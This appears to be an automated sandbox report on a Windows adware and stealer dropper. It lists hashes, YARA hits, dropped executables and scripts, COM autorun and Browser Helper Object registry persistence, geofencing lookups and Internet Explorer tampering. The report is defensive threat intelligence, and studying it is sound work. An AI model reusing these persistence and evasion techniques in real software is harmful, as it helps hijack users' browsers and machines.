55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465

Analysis

max time kernel
131s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
19/09/2022, 18:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
Size

4.2MB
MD5

c3785771b5df63658001e30677d4d0ff
SHA1

3e7eab0bedbe34011a6a2881e7ccc65fea6c7f67
SHA256

55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465
SHA512

42e4bbea2b139edb0c6be803d83d7062f471473c57bd948ba95ecd5196e14995c94c3403696b91afeb4e8fc0d26c2da6d1f72aef43596ddd7ee742f07869ef08
SSDEEP

98304:r85p2b1Bh9BjXmLHcgIge4J1UJhBDfAJTB2Hosvc/ZCgT1XHUxxtY0QSIZ0lVG5F:xb1Byre4J1UJh9fUlVT13Uxc0QL0HqF

Score

9^/10

adware discovery evasion persistence stealer trojan upx

Malware Config

Signatures

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x0006000000022e2f-146.dat	acprotect
behavioral2/files/0x0006000000022e2e-154.dat	acprotect

Executes dropped EXE 5 IoCs

pid	Process
4880	t2.exe
4928	test.exe
2876	test.exe
3692	bho.exe
2276	jisutv.exe

Registers COM server for autorun 1 TTPs 8 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\InprocServer32\ThreadingModel = "Apartment"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\InprocServer32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\InprocServer32\ = "C:\\Program Files (x86)\\¼«ËÙµçÊÓ\\Kernel\\cctv\\CCTVUpdateInstall.dll"	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{AC414988-E5BB-4C2C-873B-EA53D2F3D23A}\InprocServer32\ThreadingModel = "Apartment"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{38943A5A-33BB-4D28-909A-BF52B994D26A}\InprocServer32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{38943A5A-33BB-4D28-909A-BF52B994D26A}\InprocServer32\ = "C:\\PROGRA~2\\C9F0~1\\Kernel\\cctv\\CCTVPL~1.OCX"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\InprocServer32	t2.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\WOW6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\InprocServer32\ = "C:\\PROGRA~2\\C9F0~1\\Kernel\\cctv\\CCTVPL~1.OCX"	t2.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0006000000022e2f-146.dat	upx
behavioral2/files/0x0006000000022e2e-154.dat	upx
behavioral2/files/0x0006000000022e1d-173.dat	upx
behavioral2/files/0x0006000000022e1d-172.dat	upx
behavioral2/memory/3692-180-0x0000000000400000-0x0000000000418000-memory.dmp	upx
behavioral2/memory/3692-194-0x0000000000400000-0x0000000000418000-memory.dmp	upx

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	t2.exe

Loads dropped DLL 7 IoCs

pid	Process
4880	t2.exe
4880	t2.exe
4880	t2.exe
4880	t2.exe
4880	t2.exe
4880	t2.exe
2144	regsvr32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	jisutv.exe

Installs/modifies Browser Helper Object 2 TTPs 2 IoCs

BHOs are DLL modules which act as plugins for Internet Explorer.

stealer adware

Modify Registry

T1112

Browser Extensions

T1176

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{61BD6924-D4FB-4BA2-B2EF-EBE5E203D122}	regedit.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{61BD6924-D4FB-4BA2-B2EF-EBE5E203D122}\ = "??????"	regedit.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\winsoft9\77zb.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\winsoft9\kusila.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files\Common Files\iexplore.exe	test.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\STOP_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\winsoft9\t2.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files\Common Files\iexplore.exe	test.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\FULLSCREEN_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\sopcore.xml	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\PLAY_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\winsoft9\__tmp_rar_sfx_access_check_240583140	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\winsoft9\9ptv.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\winsoft9\1.vbs	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\chis.ini	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dll	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\DURATION_SLIDER_NORMAL.bmp	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dil	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\Chinese GB.Ini	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\FULLSCREEN_DISABLED.bmp	t2.exe
File created	C:\Program Files (x86)\winsoft9\77zb.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\Japanese.ini	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\info.ini	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\clear.bat	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\zlib.dll	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\qq.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\bho.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\EXPLAYER_DISABLED.bmp	t2.exe
File opened for modification	C:\Program Files\Internet Explorer\MUI\iexplore.exe	test.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\UNMUTE_HOVER.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\adv\default\home.html	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\kusila.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\taobao.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\languages\Chinese BIG5.Ini	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\MUTE_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\STOP_HOVER.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\uninst.exe	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\test.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files\Thunder\ComDlls	test.exe
File created	C:\Program Files (x86)\winsoft9\3.bat	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\3.bat	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\WINDOWS	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\liveupdate.dll	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\SOPLOGO_PRESSED.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\VOLUME_SLIDER_HOVER.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\uusee\out_mmshttp.dll	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\DURATION_SLIDER_HOVER.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\SOPSTATUS_NORMAL.bmp	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9\t2.exe	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\uusee\seeplayer.ocx	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\sopvod.exe	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\EXPLAYER_HOVER.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\MAIN_DIALOG.bmp	t2.exe
File created	C:\Program Files (x86)\winsoft9\2222.vbs	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\PAUSE_PRESSED.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\adv\default\index.html	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\PLAY_PRESSED.bmp	t2.exe
File opened for modification	C:\Program Files (x86)\winsoft9	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\9ptv.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files (x86)\winsoft9\mm.ico	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sina\downloader.dll	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\uusee\trafficlight.dll	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\PAUSE_NORMAL.bmp	t2.exe
File created	C:\Program Files (x86)\¼«ËÙµçÊÓ\Kernel\sopcast\skin\SOPLOGO_HOVER.bmp	t2.exe
File created	C:\Program Files (x86)\winsoft9\WINDOWS\time\mian.dil	55b8871df8eaa8d5dda987c992df623fb459782a0301b7776448ae81c7c1d465.exe
File opened for modification	C:\Program Files\Internet Explorer\MUI\iexplore.exe	test.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\WINDOWS\Downloaded Program Files\csdnsd.exe	test.exe
File opened for modification	C:\WINDOWS\Downloaded Program Files\csdnsd.exe	test.exe
File created	C:\Windows\userid.txt	bho.exe
File opened for modification	C:\Windows\xldvlfxmkjarkeohuhoa\dllbkjdvxujru.dll	bho.exe
File created	C:\Windows\reg.reg	bho.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0006000000022e1e-134.dat	nsis_installer_2
behavioral2/files/0x0006000000022e1e-136.dat	nsis_installer_2

Modifies Internet Explorer settings 1 TTPs 49 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "541652550"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\AdminActive\{35B6E387-38A1-11ED-B696-5EAE84113378} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser	test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\IESettingSync\SlowSettingTypesChanged = "2"	IEXPLORE.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e2728ad8693e804caf0ad2c227b142160000000002000000000010660000000100002000000089d18c8b36a5c1190d109923470a749a3df452996d9c7dc2e7f436c14f8a27d2000000000e8000000002000020000000301b885d83a9f46b9601f1c0029f7bcfb0818c3a45d707d495979ea5ce2a89f62000000088cd12ee9ddacafd312ead4ef63e970e5d89e68a732e5a69fef696947ed2e86740000000dedc62a4903d1720808ee03cb2c8240196ab400a60640ff70f9b3a3f9811f8ad6be6a19af2cdecc6b29e1b2d733379f6ab8e8068f0a0d1398ba8dcd2eac0e103	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLHighDateTime = "50"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBar7Layout = 130000000000000000000000300000001400000016000000010000000007000080010000030000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	test.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBarLayout = 110000005c00000000000000340000001f0000006e00000001000000a0060000a00f000005000000220400002600000002000000a1060000a00f000004000000a10000000f02000003000000a10200003b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	test.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30985390"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30985390"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateLowDateTime = "668527762"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\Frist	test.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBar7Layout = 130000000000000000000000300000001400000016000000010000000007000080010000030000000103000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	test.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastCheckForUpdateHighDateTime = "30985390"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser	test.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Toolbar\WebBrowser\ITBarLayout = 110000005c00000000000000340000001f0000006e00000001000000a0060000a00f000005000000220400002600000002000000a1060000a00f000004000000a10000000f02000003000000a10200003b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	test.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\Frist	test.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000000000001000000ffffffffffffffffffffffffffffffff3e0000003e000000c4040000a3020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\IESettingSync	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "541652550"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastTTLLowDateTime = "1251635200"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateHighDateTime = "30985390"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\VersionManager\LastUpdateLowDateTime = "668371674"	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "370415046"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\SOFTWARE\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 3066a8fdadccd801	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\VersionManager	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe

Modifies registry class 64 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Downloader.DLoader.1	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{754EFA30-C752-4F45-8890-6250A53FD512}\1.0\0\win32\ = "C:\\Program Files (x86)\\¼«ËÙµçÊÓ\\Kernel\\uusee\\seeplayer.ocx"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{18F64ED3-F6C9-456D-B642-7B5D7142781E}	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{0179B775-DF94-4BF5-8EF6-63BE876D1845}\1.0\0	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C55E048A-B88B-4B9E-974F-0777AAAB4C48}\ProxyStubClsid32\ = "{00020420-0000-0000-C000-000000000046}"	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Interface\{042C7AAC-BD4A-4450-AA0C-AAC3A30CA19E}\TypeLib	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DEB9E5B3-3781-4A4C-80B8-216266A4B216}\TypeLib\ = "{70747953-81DF-4F4D-9C7A-DAAD839FAD3B}"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{18F64ED3-F6C9-456D-B642-7B5D7142781E}\1.0\HELPDIR	t2.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\TypeLib\{8DB3A21B-4F5A-4D45-AE1A-0F03E72A6E8F}\1.1\0	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\ULIVECTRL.ULiveCtrlCtrl.1\CLSID	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{C728DAB8-FDF5-4CD7-89DD-879D25794C77}\MiscStatus\1\ = "131473"	t2.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{8A6847C0-D132-4FDC-A667-7751C0075A0E}\1.0\ = "downloader 1.0 Type Library"	t2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{3D593BD9-ADCB-4E50-B1D3-9B8B413148FF}\TypeLib	t2.exe
